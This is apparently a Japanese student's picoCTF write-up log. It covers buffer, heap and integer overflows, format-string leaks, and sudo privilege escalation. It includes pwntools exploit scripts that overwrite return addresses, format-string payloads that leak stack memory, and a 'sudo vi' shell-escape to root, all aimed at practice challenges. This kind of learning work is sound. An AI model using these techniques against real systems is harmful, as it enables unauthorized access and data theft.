3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x559b554c12b0 -> kakakakakakakkaka
+-------------+----------------+
[*] 0x559b554c12d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
文字列を増やすとさらに伸びた。つまり、このまま増やして、bicoを変えるということをすればよさそう。0x559b554c12d0と0x559b554c12b0の差は32なので、それ以上を入力すればいい。
Enter your choice: 2
Data for buffer: 11111111112222222222333333333344444444445555555555
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x559b554c12b0 -> 11111111112222222222333333333344444444445555555555
+-------------+----------------+
[*] 0x559b554c12d0 -> 444444445555555555
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 3
Take a look at my variable: safe_var = 444444445555555555
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
ということで、safe_varを変更することに成功。
Enter your choice: 4
YOU WIN
ということで、flagゲット。
buffer overflow 2
Control the return address and arguments
This time you'll need to control the arguments to the function you return to! Can you get the flag from this program?
You can view source here. And connect with it using nc saturn.picoctf.net 52464
見たい人はクリック
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
fgetsはbufにflagを出力。そのあとの条件が引数のアドレスがあっていないと返されてしまう。それをかいくぐってbufを出力させなければならなさそう。
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
bufに入力を入れるのはいいが、putsだけしかしないので戻り値を自身で見つけなければならない。
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
main関数は前と同じ。
見る限り、デバッグしてアドレスを得ないと手も足も出なさそう。
main
0x080493d5 <+99>: add $0x10,%esp
0x080493d8 <+102>: call 0x8049338 <vuln>
0x080493dd <+107>: mov $0x0,%eax
vuln関数の戻り値は0x080493ddだとわかる。
Dump of assembler code for function win:
0x08049296 <+0>: endbr32
0x0804929a <+4>: push ebp
0x0804929b <+5>: mov ebp,esp
0x0804929d <+7>: push ebx
win関数の始まりは0x08049296
今回はいくら多くの文字を入力しても、それがなにを書き換えたかまではわからないのではないだろうか。bufに入っているものをputsするだけだから。わからん。今日はここまで
お久しぶりです。やっていきます。通常に実行しても入力して、出力されておしまいになる。
スタックに積まれる構造を理解して、リターンアドレスをwin関数にすること、参照する引数の場所に決められた値を入れることが、今回の問題であるようだ。どうにもできないので、writeupを見てしまった。(picoCTF 2022 buffer overflow 2 Writeup)、(ポン中のハシビロコウ)
スタックにどれだけの文字を入力したらリターンアドレスに到達できるのかを求めないといけない。
単純にbufに100個の要素が入るからといって100ではないのが難しい。参考文献のようにgdbを使うのがよさそうだが、渡されたvulnが実行できずなかなかに困る。もしかしたら16の倍数で100を初めて超えるのが112という求め方ではだめなのかな?邪道ですね。実際、SIGSEGVが起きるのも113からなので、そうやって片っ端から求めることもできる。お勧めしないけど。
そして、文字でスタックを埋めた後はリターンアドレス(win関数先頭)があり、その次にwin関数の終了時に戻るアドレスがあり、その先に引数の場所がある。よって
from pwn import *
win = p32(0x08049296)
arg1 = p32(0xCAFEF00D)
arg2 = p32(0xF00DF00D)
io.sendline(b"a"*112+win+b"a"*4 +arg1+arg2)
このようなコードを送れば、バッファオーバーフローが完成する。
感想
gdbの使い方によってスタックの中身を見たり求めたりできるので、ほかのwriteupを参考にしながらやっていきたい。もしも実行できない時は既存んの関数呼び出しにおけるスタックの状況を理論から考えて行っていくのがよさそう。コードと照らし合わせてスタックがどうなっているかを把握することが大切。
RPS
Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.
5回連続でじゃんけんに勝つことを要求している。プログラムを見るとplayで勝つとwinカウントがたまり負けると0に戻る。winカウント5つ以上貯めるとfalgゲットという感じ。以上というのは少し気になる。
if (play()) {
wins++;
} else {
wins = 0;
}
play()がtrueならwinカウントが貯める。
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
play()の中の勝ち負けを決めるところ。randが使われているので相手の手を予測するのは難しい。勝ちになる判定は if (strstr(player_turn, loses[computer_turn])) {
ここで行われているようだ。ifの真偽は0がfalse、0以外がtrueとなっている。(strstr())を確認するとstrstr関数は文字列を比較して比較対象に文字列が含まれているとその文字列が現れる場所を返してくれるようだ。見つからないとnull=0を返す。
簡単な話scissorspaperrock
と全てを含んだ文字列を投げたら勝ち判定になる。
Please make your selection (rock/paper/scissors):
scissorspaperrock
scissorspaperrock
You played: scissorspaperrock
The computer played: rock
You win! Play again?
これを5回繰り返したらおしまい。
two-sum
Can you solve this?
What two positive numbers can make this possible: n1 > n1 + n2 OR n2 > n1 + n2
Enter them here nc saturn.picoctf.net 54966.
どういうことだろうか?
ソースコードからn1とn2を入力してその和がどちらかより小さくしないといけないようだ。
if (addIntOvf(sum, num1, num2) == 0) {
printf("No overflow\n");
fflush(stdout);
exit(0);
} else if (addIntOvf(sum, num1, num2) == -1) {
printf("You have an integer overflow\n");
fflush(stdout);
}
これはaddIntOvfを-1にすると終了せずにflagがとれそうだ
static int addIntOvf(int result, int a, int b) {
result = a + b;
if(a > 0 && b > 0 && result < 0)
return -1;
if(a < 0 && b < 0 && result > 0)
return -1;
return 0;
}
両方とも負か正でないとreturn=0になってしまう。if (num1 > 0 || num2 > 0) {
flagを出力するところはnum1とnum2両方と正であることを要求しているので、if(a > 0 && b > 0 && result < 0)
これを成り立たせる。
(【C言語入門】整数(int、long int、short int)の使い方)intは
int型のサイズは4バイトで、最大値は2147483647、最小値は-2147483648となります
とあるので、和が2147483647これを超えればいいということかな?
└─# nc saturn.picoctf.net 54966
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2147483645
4
You entered 2147483645 and 4
You have an integer overflow
正解のようだ。
clutter-overflow
Clutter, clutter everywhere and not a byte to use.
どういういみだろう?ソースコードと実行ファイルが渡された。一応オーバーフローを起こさせる問題のようではある。
int main(void)
{
long code = 0;
char clutter[SIZE];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(HEADER);
puts("My room is so cluttered...");
puts("What do you see?");
gets(clutter);
if (code == GOAL) {
printf("code == 0x%llx: how did that happen??\n", GOAL);
puts("take a flag for your troubles");
system("cat flag.txt");
} else {
printf("code == 0x%llx\n", code);
printf("code != 0x%llx :(\n", GOAL);
}
return 0;
}
└─# nc mars.picoctf.net 31890
______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \ ^ _ ^ / | | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | // | /_\ ^| | ____ ____ | | ^ |
|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|
| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| / ( \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \|^ ^|
.-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |
| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\ |^ ^|
| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|== =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
ls
code == 0x0
code != 0xdeadbeef :(
ソースコードと実行結果から考えるとcodeの値を0xdeadbeefにすることが目標のようだ。渡された実行ファイルが実効可能だったので、スタック情報などを確認しながらオバーフローに迫りたいと思う。(picoCTF 2022 buffer overflow 2 Writeup)を参考にスタックを確認していく。
まずはmain関数をdisasしてみる。(大切そうなところだけ抜粋)
gdb-peda$ disas main
Dump of assembler code for function main:
、、、
0x0000000000400716 <+79>: mov rax,QWORD PTR [rip+0x201933] # 0x602050 <HEADER>
0x000000000040071d <+86>: mov rdi,rax
、、、
0x000000000040074c <+133>: call 0x4005d0 <gets@plt>
0x0000000000400751 <+138>: mov eax,0xdeadbeef
0x0000000000400756 <+143>: cmp QWORD PTR [rbp-0x8],rax
0x000000000040075a <+147>: jne 0x40078c <main+197>
、、、
End of assembler dump.
知りたいのはcodeのアドレスとclutterからどれだけ入力したらcodeに届くのかということ。
ではまずcodeの位置を確認してみる。
if (code == GOAL) {
が始まる前まで実行して以下のコマンドをたたく。
gdb-peda$ x/40xw $rsp
0x7fffffffe2c0: 0x00414141 0x00007fff 0x000012f9 0x00000000
0x7fffffffe2d0: 0x00c00000 0x00000000 0x008c0328 0x00000000
0x7fffffffe2e0: 0x00040000 0x00000000 0xf7fe0e16 0x00007fff
0x7fffffffe2f0: 0x00000000 0x00000000 0x00008000 0x00000000
0x7fffffffe300: 0x00000002 0x00000000 0x00000006 0x80000000
0x7fffffffe310: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe320: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe330: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe340: 0x00040000 0x00000000 0x00000004 0x00000000
0x7fffffffe350: 0x00000040 0x00000000 0x00000010 0x00000000
0x7fffffffe2c0
から入力が行われていることが分かった。つまり、clutterは0x7fffffffe2c0
から始まる。
codeを探してもp codeとかですね。わからない。 0x400756 <main+143>: cmp QWORD PTR [rbp-0x8],rax
というところが比較を行っている。raxがGOALのようだ。
gdb-peda$ x/40xw $rax
0xdeadbeef: Cannot access memory at address 0xdeadbeef
rbp-0x8を見てみる。
gdb-peda$ x/40xw $rbp - 0x8
0x7fffffffe3c8: 0x00000000 0x00000000 0x00000001 0x00000000
つまり、codeは0x7fffffffe3c8
であり、そことGOALが比較している。
つまり、clutterとcodeの距離は0x7fffffffe3c8 - 0x7fffffffe2c0=0x108(264)となる。
よって、入力するべき文字数は4264//4=264入力が必要。
よって、b'a'264 + '0xdeadbeef'を入力できればできそう。
from pwn import *
io = remote("mars.picoctf.net",31890)
goal = p32(0xdeadbeef)
io.sendline(b"a"*264+goal)
print(io.recvall())
以上のコードを実行するとflagを手に入れることができた。
hijacking
Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with.
Through Social engineering, we've got the credentials to use on the server. SSH is running on the server.
該当サーバーにsshしてみる。
picoctf@challenge:~$ ls -al
total 16
drwxr-xr-x 1 picoctf picoctf 20 Apr 27 03:28 .
drwxr-xr-x 1 root root 21 Aug 4 2023 ..
-rw-r--r-- 1 picoctf picoctf 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 picoctf picoctf 3771 Feb 25 2020 .bashrc
drwx------ 2 picoctf picoctf 34 Apr 27 03:28 .cache
-rw-r--r-- 1 picoctf picoctf 807 Feb 25 2020 .profile
-rw-r--r-- 1 root root 375 Mar 16 2023 .server.py
ホームディレクトリでのファイル。
picoctf@challenge:~$ cat .server.py
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
host_info = socket.gethostbyaddr(ip)
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)
そこにあるpythonコード。実行してみる。
picoctf@challenge:~$ python3 .server.py
sh: 1: ping: not found
Traceback (most recent call last):
File ".server.py", line 7, in <module>
host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname
とにかくできないようだ。writeupをちっと見てしまったsudo -l
で実行できるコマンドを知れるようだ。
picoctf@challenge:~$ sudo -l
Matching Defaults entries for picoctf on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
全員vimは使えるようだ。rootユーザーならパスワードなしでpythonと.server.pyが使えるようだ。(GTFOBinsを利用したLinuxの権限昇格【sudo編】)を見てみると、(GTFOBins )というサイトに権限昇格等に利用できる知識が集約されているようだ。
見てみると上記のようなコードを打つとsudo権限が取れるようだ。
picoctf@challenge:~$ sudo vi -c ':!/bin/sh'
[sudo] password for picoctf:
picoctfのパスワードを要求されるので、与えられたパスワードを入力。
root
root権限が取れた。rootディレクトリに行くと、
total 12
drwx------ 1 root root 23 Aug 4 2023 .
drwxr-xr-x 1 root root 51 Apr 27 04:22 ..
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 43 Aug 4 2023 .flag.txt
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
flagがあった。終了。
flag leak
Story telling class 1/2
I'm just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using:
nc saturn.picoctf.net 65239
ということで、よくわからん。与えられたコードをもとに考えていく。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void readflag(char* buf, size_t len) {
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,len,f);
}
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story);
printf("\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
よくあるvulnからバッファオーバーフローを起こして、readflag関数に飛ばすやつではないだろうか?いや、引数をスタックに積んでから飛ばすのか?それともvulnでreadflag関数がすでに呼ばれているので、それを考えるのか?
0x0804934f <+28>: push 0x40
0x08049351 <+30>: lea eax,[ebp-0x48]
0x08049354 <+33>: push eax
0x08049355 <+34>: call 0x80492b6 <readflag>
readflagを呼ぶ前にスタックへ64(0x40)が積まれその次にflagの領域が積まれている感じだと思う。いや、これprintf(story);
が書式指定子がないので、%sなどでスタック情報を入手できる。
└─# nc saturn.picoctf.net 64039
Tell me a story and then I'll tell you one >> %p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Here's a story -
0xffb94b00,0xffb94b20,0x8049346,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x252c70,0x6f636970,0x7b465443,0x6b34334c,0x5f676e31,0x67346c46,0x6666305f,0x3474535f,
いい感じでないかね。
あと少しのところで来ない。コードを確認するとscanf("%127s", story);
となっており、127sしか取り込んでいないコンマは邪魔っぽい。コンマなしで入力してみる。
└─# nc saturn.picoctf.net 64039
Tell me a story and then I'll tell you one >> %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
Here's a story -
0xffbbe1600xffbbe1800x80493460x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250xee274d000xee0f9ab00x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x395f6b630x303666350x7d3731360xfbad20000xb3a62200(nil)0xee2b09900x804c0000x8049410(nil)0x804c0000xffbbe2480x80494180x20xffbbe2f40xffbbe300(nil)0xffbbe260
お!さっきより流出できている気がする。
出てきましたね。swap endiannessのword = 4で並び替えるとflagゲット。
x-sixty-what
Overflow x64 code
Most problems before this are 32-bit x86. Now we'll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the flag function in this program. Download source.
nc saturn.picoctf.net 55353
渡されたコードは実行できる。アドレスを見ることができそう。
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}
よくあるバッファオーバーフローのやつ。
gdb-peda$ pdisas flag
Dump of assembler code for function flag:
0x0000000000401236 <+0>: endbr64
flag関数は0x00401236であることが分かる。bufの下にあるリターンアドレスを書き換えることを目指す。
0x0000000000401333 <+97>: call 0x4012b2 <vuln>
0x0000000000401338 <+102>: mov eax,0x0
main関数のvulnが戻ってくるアドレスは0x00401338になっている。
入力を求められて入力した後のスタック状況を確認する。
gdb-peda$ x/40xw $rsp
0x7fffffffe370: 0x61616161 0x00007f00 0xf7e4ccfa 0x00007fff
0x7fffffffe380: 0xf7fab780 0x00007fff 0xf7e4d423 0x00007fff
0x7fffffffe390: 0xffffe4f8 0x00007fff 0xffffe3e0 0x00007fff
0x7fffffffe3a0: 0x00000000 0x00000000 0xffffe508 0x00007fff
0x7fffffffe3b0: 0xffffe3e0 0x00007fff 0x00401338 0x00000000
0x7fffffffe3c0: 0xffffe4f8 0x00007fff 0xf7fe6780 0x00000001
0x7fffffffe3d0: 0x00000000 0x00000000 0xf7ffdab0 0x00000000
0x7fffffffe3e0: 0x00000001 0x00000000 0xf7dfe6ca 0x00007fff
0x7fffffffe3f0: 0xffffe4e0 0x00007fff 0x004012d2 0x00000000
0x7fffffffe400: 0x00400040 0x00000001 0xffffe4f8 0x00007fff
aを4回打ったので0x61616161になっている。0x7fffffffe3b8にリターンアドレスが書き込まれていることが分かる。スタックの先頭からの距離は0x48(72)である。a*72入力したのちに0x00401236のアドレスを入力したらよさそう。
from pwn import *
io = remote("saturn.picoctf.net",56334)
goal = p64(0x00401236)
io.sendline(b"a"*72+goal)
print(io.recvall())
これでやってみたができない。あれ違ったかな。hintやwriteupを見た。
いい線まで言っていることはわかる。flag関数の先頭でなく0x000000000040123b <+5>: mov rbp,rsp
ここに飛ばす方がよかったようだ。なんでだろうか?ほかにもret関数を積んでからリターンアドレスを積む方法もある。ropでも解けるということだろうか?少し個々の謎は解明したい。
from pwn import *
io = remote("saturn.picoctf.net",61053)
goal = p64(0x0040123b)
io.sendline(b"a"*72+goal)
print(io.recvall())
上記のコードで実行するとflagゲット。
これより下は未解決
Cache Me Outside
While being super relevant with my meme references, I wrote a program to see how much you understand heap allocations.
ヒープ領域に関する脆弱性をつくようだ。実行ファイルしか渡されていないので、gdbとghidraを用いて解析していく。ghidraを見ていると、以下のようなコードがある。
変数名を自身で変えたので意味が分からないものになっているが、つまり、mallocした領域の先頭アドレス+0x10したところの文字を出力するように思う。コードを見ているとlocal_98とflagを抽出した文字列をstrcatで連結しているように見える。つまり、このlocal_98をヒントにflagの場所を特定して、putsさせればいいということかな?わからない。writeupを見る。(ポン中のハシビロコウ)読んでみたけど、よくわからん!
CE-XXXX-XXXX
heap 3
This program mishandles memory. Can you exploit it to get the flag?
Download the binary here.
Download the source here.
Connect with the challenge instance here:
nc tethys.picoctf.net 54618
という感じでコードとプログラムが渡された。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;
int num_allocs;
object *x;
何かしらの構造体を定義している。
void check_win() {
if(!strcmp(x->flag, "pico")) {
printf("YOU WIN!!11!!\n");
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("No flage for u :(\n");
fflush(stdout);
}
}
ここがflagを表示する関数のようだ。xオブジェクトのflagがpicoだったら勝つようだ。
void alloc_object() {
printf("Size of object allocation: ");
fflush(stdout);
int size = 0;
scanf("%d", &size);
char* alloc = malloc(size);
printf("Data for flag: ");
fflush(stdout);
scanf("%s", alloc);
}
何かしら新しい関数があるようだ。
Patrick and Sponge Bob were really happy with those orders you made for them, but now they're curious about the secret menu. Find it, and along the way, maybe you'll find something else of interest!
Download the binary here.
Download the source here.
Connect with the challenge instance here:
nc mimas.picoctf.net 56681
裏メニューがあるようだ。
└─# nc mimas.picoctf.net 56681
Give me your order and I'll read it back to you:
%s%s%s%s
Here's your order: Here's your order: (null)(null)
Bye!
先と似た感じで%sを多用してみるがうまいこといかない。フォーマット指定子の攻撃について調べていると(format string attackによるメモリ読み出しをやってみる)%xを用いてメモリを表示させることもできるようだ。
└─# nc mimas.picoctf.net 56681
Give me your order and I'll read it back to you:
%x%x%x%x%x%x%x
Here's your order: 40211802615fa000e88880a347834b3608d80
Bye!
何かうまいこと流出できている。ここでメモリのエディアンについて調べた。
└─# file format-string-1
format-string-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped
渡された実行ファイルはx86-64形式であるようだ。(Linux で Arm64 アセンブリプログラミング (01) メモリ、バイト、レジスタ、エンディアン)を見ると
エンディアンは CPU に依存していて、x86 や x86-64 はリトルエンディアンです。
とあるので、リトルエディアンで変更させていく。いろいろ試行錯誤しているがまだ解けない。
Give me your order and I'll read it back to you:
%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,
Here's your order: 402118,0,9f8fea00,0,1fb6880,a347834,f6558bc0,9f6efe60,9f9144d0,1,f6558c90,0,0,6f636970,6d316e34,33317937,3431665f,63363933,7,9f9168d8,7,74307250,6c797453,9,9f927de9,9f6f8098,9f9144d0,0,f6558ca0,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,0,0,0,0,0,6e656c6c,616d726f,676e6972,0,0,0,0,0,0,0,0,0,0,0,0,0,
Bye!
これで流出できるのはできたと思う。けど、cyberchefでswap edianとfrom hexを用いてもうまくいかない
buffer overflow 2
babygame01
Get the flag and reach the exit.
Welcome to BabyGame! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you'll have to figure your way around the map.
flagをとって出口を目指す。ソースコードはないようだ。まずは実行してみる。
何やら出てきた。現在地が4 4でゴールが29 89 flagなしという感じだ。
disas main
gdb-peda$ disas main
Dump of assembler code for function main:
0x08049764 <+0>: lea ecx,[esp+0x4]
0x08049768 <+4>: and esp,0xfffffff0
0x0804976b <+7>: push DWORD PTR [ecx-0x4]
0x0804976e <+10>: push ebp
0x0804976f <+11>: mov ebp,esp
0x08049771 <+13>: push ebx
0x08049772 <+14>: push ecx
0x08049773 <+15>: sub esp,0xaa0
0x08049779 <+21>: call 0x8049150 <__x86.get_pc_thunk.bx>
0x0804977e <+26>: add ebx,0x2882
0x08049784 <+32>: mov eax,gs:0x14
0x0804978a <+38>: mov DWORD PTR [ebp-0xc],eax
0x0804978d <+41>: xor eax,eax
0x0804978f <+43>: lea eax,[ebp-0xaa4]
0x08049795 <+49>: push eax
0x08049796 <+50>: call 0x804953a <init_player>
0x0804979b <+55>: add esp,0x4
0x0804979e <+58>: lea eax,[ebp-0xaa4]
0x080497a4 <+64>: push eax
0x080497a5 <+65>: lea eax,[ebp-0xa98]
0x080497ab <+71>: push eax
0x080497ac <+72>: call 0x80492c8 <init_map>
0x080497b1 <+77>: add esp,0x8
0x080497b4 <+80>: sub esp,0x8
0x080497b7 <+83>: lea eax,[ebp-0xaa4]
0x080497bd <+89>: push eax
0x080497be <+90>: lea eax,[ebp-0xa98]
0x080497c4 <+96>: push eax
0x080497c5 <+97>: call 0x804948a <print_map>
0x080497ca <+102>: add esp,0x10
0x080497cd <+105>: sub esp,0x8
0x080497d0 <+108>: lea eax,[ebx-0x2dea]
0x080497d6 <+114>: push eax
0x080497d7 <+115>: push 0x2
0x080497d9 <+117>: call 0x8049090 <signal@plt>
0x080497de <+122>: add esp,0x10
0x080497e1 <+125>: call 0x8049070 <getchar@plt>
0x080497e6 <+130>: mov BYTE PTR [ebp-0xaa5],al
0x080497ec <+136>: movsx eax,BYTE PTR [ebp-0xaa5]
0x080497f3 <+143>: sub esp,0x4
0x080497f6 <+146>: lea edx,[ebp-0xa98]
0x080497fc <+152>: push edx
0x080497fd <+153>: push eax
0x080497fe <+154>: lea eax,[ebp-0xaa4]
0x08049804 <+160>: push eax
0x08049805 <+161>: call 0x8049564 <move_player>
0x0804980a <+166>: add esp,0x10
0x0804980d <+169>: sub esp,0x8
0x08049810 <+172>: lea eax,[ebp-0xaa4]
0x08049816 <+178>: push eax
0x08049817 <+179>: lea eax,[ebp-0xa98]
0x0804981d <+185>: push eax
0x0804981e <+186>: call 0x804948a <print_map>
0x08049823 <+191>: add esp,0x10
0x08049826 <+194>: mov eax,DWORD PTR [ebp-0xaa4]
0x0804982c <+200>: cmp eax,0x1d
0x0804982f <+203>: jne 0x80497e1 <main+125>
0x08049831 <+205>: mov eax,DWORD PTR [ebp-0xaa0]
0x08049837 <+211>: cmp eax,0x59
0x0804983a <+214>: jne 0x80497e1 <main+125>
0x0804983c <+216>: sub esp,0xc
0x0804983f <+219>: lea eax,[ebx-0x1f78]
